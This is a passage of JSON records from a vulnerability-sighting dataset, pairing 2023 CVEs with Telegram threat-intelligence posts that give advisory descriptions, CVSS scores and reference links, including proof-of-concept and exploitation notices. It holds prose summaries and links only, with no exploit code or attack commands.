2025-03-14T19:42:12.116Z\n\ud83d\udd17 References:\n1. https://www.rafaybaloch.com/2023/11/Multiple%20Critical-Vulnerabilities-in-PureVPN.html?m=1\n2. https://latesthackingnews.com/2023/11/13/multiple-vulnerabilities-found-in-purevpn-one-remains-unpatched/", "creation_timestamp": "2025-03-14T19:44:54.000000Z"}, {"uuid": "84014251-3e44-4dd5-b1cd-6158bcbd4b48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48785", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7614", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48785\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N/E:U/RL:X/RC:X)\n\ud83d\udd39 Description: An improper certificate validation vulnerability [CWE-295] in FortiNAC-F version 7.2.4 and below may allow a remote and unauthenticated attacker to perform a Man-in-the-Middle attack on the HTTPS communication channel between the FortiOS device, an inventory, and FortiNAC-F.\n\ud83d\udccf Published: 2025-03-14T15:46:57.799Z\n\ud83d\udccf Modified: 2025-03-14T17:17:09.570Z\n\ud83d\udd17 References:\n1. https://fortiguard.com/psirt/FG-IR-23-288", "creation_timestamp": "2025-03-14T17:49:01.000000Z"}, {"uuid": "1555d788-3dc0-4b48-af2c-db8ad054d648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48906", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9463", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48906\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Stack Overflow vulnerability in Btstack 1.6 and earlier allows attackers to cause a denial of service via crafted input to the char_for_nibble function.\n\ud83d\udccf Published: 2024-04-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-28T19:27:33.878Z\n\ud83d\udd17 References:\n1. https://www.cnblogs.com/focu5/p/18070469", "creation_timestamp": "2025-03-28T20:29:09.000000Z"}, {"uuid": "d6f6908a-6a3d-453a-80b1-38dce59266e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4836", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/10200", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4836\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WordPress File Sharing Plugin WordPress plugin before 2.0.5 does not check authorization before displaying files and folders, allowing users to gain access to those filed by manipulating IDs which can easily be brute forced\n\ud83d\udccf Published: 2023-10-31T13:54:46.188Z\n\ud83d\udccf Modified: 2025-04-03T13:21:19.295Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/c17f2534-d791-4fe3-b45b-875777585dc6\n2. https://research.cleantalk.org/cve-2023-4836-user-private-files-idor-to-sensitive-data-and-private-files-exposure-leak-of-info-poc", "creation_timestamp": "2025-04-03T13:34:42.000000Z"}, {"uuid": "6a236e38-fe2f-4502-ab25-83353f7d3f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48264", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12268", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48264\n\ud83d\udd25 CVSS Score: 8.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The vulnerability allows an unauthenticated remote attacker to perform a Denial-of-Service (DoS) attack or, possibly, obtain Remote Code Execution (RCE) via a crafted network request.\n\ud83d\udccf Published: 2024-01-10T13:09:10.347Z\n\ud83d\udccf Modified: 2025-04-17T15:48:37.330Z\n\ud83d\udd17 References:\n1. https://psirt.bosch.com/security-advisories/BOSCH-SA-711465.html", "creation_timestamp": "2025-04-17T15:57:53.000000Z"}, {"uuid": "d79b419d-11ba-4af9-9de2-cd5714afae07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48733", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15534", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48733\n\ud83d\udd25 CVSS Score: 6.7 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: An insecure default to allow UEFI Shell in EDK2 was left enabled in Ubuntu's EDK2. This allows an OS-resident attacker to bypass Secure Boot.\n\ud83d\udccf Published: 2024-02-14T21:54:08.333Z\n\ud83d\udccf Modified: 2025-05-08T15:18:23.545Z\n\ud83d\udd17 References:\n1. https://bugs.launchpad.net/ubuntu/+source/edk2/+bug/2040137\n2. https://nvd.nist.gov/vuln/detail/CVE-2023-48733\n3. https://www.openwall.com/lists/oss-security/2024/02/14/4\n4. https://bugs.launchpad.net/ubuntu/+source/lxd/+bug/2040139\n5. https://lists.debian.org/debian-lts-announce/2024/06/msg00028.html", "creation_timestamp": "2025-05-08T15:24:29.000000Z"}, {"uuid": "4c0780b4-7989-4095-a2f3-914fcc8de813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48442", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17128", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48442\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.\n\ud83d\udccf Published: 2023-12-15T10:15:51.144Z\n\ud83d\udccf Modified: 2025-05-21T14:21:43.590Z\n\ud83d\udd17 References:\n1. https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html", "creation_timestamp": "2025-05-21T14:53:33.000000Z"}, {"uuid": "2ed71a29-a5d5-4716-ba62-055c0d1fffa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48506", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17125", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48506\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.\n\ud83d\udccf Published: 2023-12-15T10:15:29.553Z\n\ud83d\udccf Modified: 2025-05-21T14:25:14.634Z\n\ud83d\udd17 References:\n1. https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html", "creation_timestamp": "2025-05-21T14:46:27.000000Z"}, {"uuid": "f6e2ca56-d4a6-421f-960a-bb0b811726e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48395", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17124", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48395\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Kaifa Technology WebITR is an online attendance system, it has insufficient validation for user input within a special function. A remote attacker with regular user privilege can exploit this vulnerability to inject arbitrary SQL commands to read database.\n\ud83d\udccf Published: 2023-12-15T09:27:22.243Z\n\ud83d\udccf Modified: 2025-05-21T14:25:53.216Z\n\ud83d\udd17 References:\n1. https://www.twcert.org.tw/tw/cp-132-7625-a0b9c-1.html", "creation_timestamp": "2025-05-21T14:46:24.000000Z"}, {"uuid": "86d8b494-c8f1-403b-acc6-4ee48a0b7066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48380", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17122", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48380\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Softnext Mail SQR Expert is an email management platform, it has insufficient filtering for a special character within a spcific function. A remote attacker authenticated as a localhost can exploit this vulnerability to perform command injection attacks, to execute arbitrary system command, manipulate system or disrupt service.\n\ud83d\udccf Published: 2023-12-15T08:12:44.486Z\n\ud83d\udccf Modified: 2025-05-21T14:26:40.553Z\n\ud83d\udd17 References:\n1. https://www.twcert.org.tw/tw/cp-132-7598-37b03-1.html", "creation_timestamp": "2025-05-21T14:45:31.000000Z"}, {"uuid": "ce46c9dd-f424-44f3-b469-13c003c475fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48742", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17268", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48742\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in LicenseManager License Manager for WooCommerce license-manager-for-woocommerce allows SQL Injection.This issue affects License Manager for WooCommerce: from n/a through 2.2.10.\n\n\n\ud83d\udccf Published: 2023-11-30T14:07:09.841Z\n\ud83d\udccf Modified: 2025-05-22T13:33:43.086Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/license-manager-for-woocommerce/wordpress-license-manager-for-woocommerce-plugin-2-2-10-sql-injection-vulnerability?_s_id=cve", "creation_timestamp": "2025-05-22T13:43:23.000000Z"}, {"uuid": "2f1e9721-709f-4911-8e4a-794eefb3867b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48425", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17634", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48425\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: U-Boot vulnerability resulting in persistent Code Execution\u00a0\n\ud83d\udccf Published: 2023-12-11T05:15:59.638Z\n\ud83d\udccf Modified: 2025-05-27T14:44:28.733Z\n\ud83d\udd17 References:\n1. https://source.android.com/docs/security/bulletin/chromecast/2023-12-01", "creation_timestamp": "2025-05-27T14:48:21.000000Z"}, {"uuid": "5f3fbf4a-ad9b-4195-b949-07a659d0501b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48239", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17888", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48239\n\ud83d\udd25 CVSS Score: 8.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H)\n\ud83d\udd39 Description: Nextcloud Server provides data storage for Nextcloud, an open source cloud platform. Starting in version 25.0.0 and prior to versions 25.0.13, 26.0.8, and 27.1.3 of Nextcloud Server and starting in version 20.0.0 and prior to versions 20.0.14.16, 21.0.9.13, 22.2.10.15, 23.0.12.12, 24.0.12.8, 25.0.13, 26.0.8, and 27.1.3 of Nextcloud Enterprise Server, a malicious user could update any personal or global external storage, making them inaccessible for everyone else as well. Nextcloud Server 25.0.13, 26.0.8, and 27.1.3 and Nextcloud Enterprise Server is upgraded to 20.0.14.16, 21.0.9.13, 22.2.10.15, 23.0.12.12, 24.0.12.8, 25.0.13, 26.0.8, and 27.1.3 contain a patch for this issue. As a workaround, disable app files_external. This workaround also makes the external storage inaccessible but retains the configurations until a patched version has been deployed.\n\ud83d\udccf Published: 2023-11-21T21:02:35.442Z\n\ud83d\udccf Modified: 2025-06-10T13:59:10.422Z\n\ud83d\udd17 References:\n1. https://github.com/nextcloud/security-advisories/security/advisories/GHSA-f962-hw26-g267\n2. https://github.com/nextcloud/server/pull/41123\n3. https://hackerone.com/reports/2212627", "creation_timestamp": "2025-06-10T14:30:30.000000Z"}, {"uuid": "15369683-4e95-4745-bf5b-57ff35ac939d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48197", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18070", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48197\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Cross-Site Scripting (XSS) vulnerability in the \u2018manageApiKeys\u2019 component of Grocy 4.0.3 and earlier allows attackers to obtain victim's cookies when the victim clicks on the \"see QR code\" function.\n\ud83d\udccf Published: 2023-11-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-11T14:18:09.608Z\n\ud83d\udd17 References:\n1. https://github.com/grocy/grocy\n2. https://nitipoom-jar.github.io/CVE-2023-48197/", "creation_timestamp": "2025-06-11T14:31:21.000000Z"}, {"uuid": "1a5dc382-bfb5-4599-bdc4-01af699d743e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48292", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/23452", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aXWiki Admin Tools - CSRF to RCE\nURL\uff1ahttps://github.com/Mehran-Seifalinia/CVE-2023-48292\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-03-23T22:13:33.000000Z"}, {"uuid": "62010903-8866-4f9f-af12-5e9d35242251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48310", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18077", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48310\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)\n\ud83d\udd39 Description: TestingPlatform is a testing platform for Internet Security Standards. Prior to version 2.1.1, user input is not filtered correctly. Nmap options are accepted. In this particular case, the option to create log files is accepted in addition to a host name (and even without). A log file is created at the location specified. These files are created as root. If the file exists, the existing file is being rendered useless. This can result in denial of service. Additionally, input for scanning can be any CIDR blocks passed to nmap. An attacker can scan 0.0.0.0/0 or even local networks. Version 2.1.1 contains a patch for this issue.\n\ud83d\udccf Published: 2023-11-20T23:07:13.720Z\n\ud83d\udccf Modified: 2025-06-11T14:04:56.455Z\n\ud83d\udd17 References:\n1. https://github.com/NC3-LU/TestingPlatform/security/advisories/GHSA-9fhc-f3mr-w6h6\n2. https://github.com/NC3-LU/TestingPlatform/security/advisories/GHSA-mmpf-rw6c-67mm\n3. https://github.com/NC3-LU/TestingPlatform/commit/7b3e7ca869a4845aa7445f874c22c5929315c3a7\n4. https://github.com/NC3-LU/TestingPlatform/releases/tag/v2.1.1", "creation_timestamp": "2025-06-11T14:31:29.000000Z"}, {"uuid": "4e138bac-0fc4-4229-944c-b12471aec247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48133", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18492", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48133\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in angel coffee mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.\n\ud83d\udccf Published: 2024-01-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-16T18:19:18.573Z\n\ud83d\udd17 References:\n1. https://github.com/syz913/CVE-reports/blob/main/angel%20coffee.md", "creation_timestamp": "2025-06-16T18:38:40.000000Z"}, {"uuid": "d732e8cf-d4f9-4241-9be2-79a2f175f9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48978", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19206", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-48978\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NCR ITM Web terminal v.4.4.0 and v.4.4.4 allows a remote attacker to execute arbitrary code via a crafted script to the IP camera URL component.\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-23T14:29:20.829Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/13JrkDcVtcQFepeGoG8roBZ1xFy7iBx1R/view?usp=sharing\n2. https://github.com/pwahba/cve-research/blob/main/CVE-2023-48978/CVE-2023-48978.md", "creation_timestamp": "2025-06-23T14:45:28.000000Z"}, {"uuid": "fb5c6bdc-1564-42da-8b7f-b21555a16b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4846", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4846\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: A vulnerability was found in SourceCodester Simple Membership System 1.0. It has been rated as critical. This issue affects some unknown processing of the file delete_member.php. The manipulation of the argument mem_id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-239255.\n\ud83d\udccf Published: 2023-09-09T07:31:04.377Z\n\ud83d\udccf Modified: 2025-06-25T14:21:50.860Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.239255\n2. https://vuldb.com/?ctiid.239255\n3. https://github.com/Swpan2018/Vulhub/blob/main/Simple-Membership-System%20delete_member.php%20has%20Sqlinjection.pdf", "creation_timestamp": "2025-06-25T14:51:33.000000Z"}, {"uuid": "ae6ae8cb-b384-43b4-9453-4c51c3be6caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "https://t.me/thehackernews/7941", "content": "\ud83d\udea8 Hackers are exploiting a 2-year-old authentication flaw (CVE-2023-48022) in the Ray AI framework to take over NVIDIA GPU clusters and run a self-spreading crypto-mining botnet called ShadowRay 2.0.\n\nThe bug remains unpatched by design, and over 230,000 Ray servers are exposed online.\n\nRead about it here \u2193 https://thehackernews.com/2025/11/shadowray-20-exploits-unpatched-ray.html", "creation_timestamp": "2025-11-20T17:26:09.000000Z"}, {"uuid": "760c4816-0aa6-4ee1-afff-a590a782a0cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4812", "type": "published-proof-of-concept", "source": "https://t.me/tech_b0lt_Genona/4222", "content": "\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u043c \u0433\u0438\u0442\u043b\u0430\u0431\u0447\u0438\u043a\u0438 \ud83d\udc85\ud83d\udc85\ud83d\udc85\n\n\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 - GitLab 16.7.2, 16.6.4 \u0438 16.5.6, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2023-7028), \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (10 \u0438\u0437 10), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0447\u0443\u0436\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u0444\u043e\u0440\u043c\u043e\u0439 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0431\u044b\u0442\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u043d\u0430 \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 email-\u0430\u0434\u0440\u0435\u0441\u0430. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 GitLab 16.1.0, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043a\u043e\u0434\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u043d\u0430 \u043d\u0435\u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0430\u0441\u043d\u043e\u0439 email-\u0430\u0434\u0440\u0435\u0441.\n\n\u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u0430\u043a\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u0432 \u043b\u043e\u0433\u0435 gitlab-rails/production_json.log \u043d\u0430\u043b\u0438\u0447\u0438\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443 /users/password \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435\u043c \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 email \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \"params.value.email\". \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432 \u043b\u043e\u0433\u0435 gitlab-rails/audit_json.log \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c PasswordsController#create \u0432 meta.caller.id \u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435\u043c \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0432 \u0431\u043b\u043e\u043a\u0435 target_details. \u0410\u0442\u0430\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0434\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u0434\u043e \u043a\u043e\u043d\u0446\u0430 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u0432\u0443\u0445\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-5356 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043a\u043e\u0434\u0435 \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 Slack \u0438 Mattermost, \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c /-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u0434 \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438\u0437-\u0437\u0430 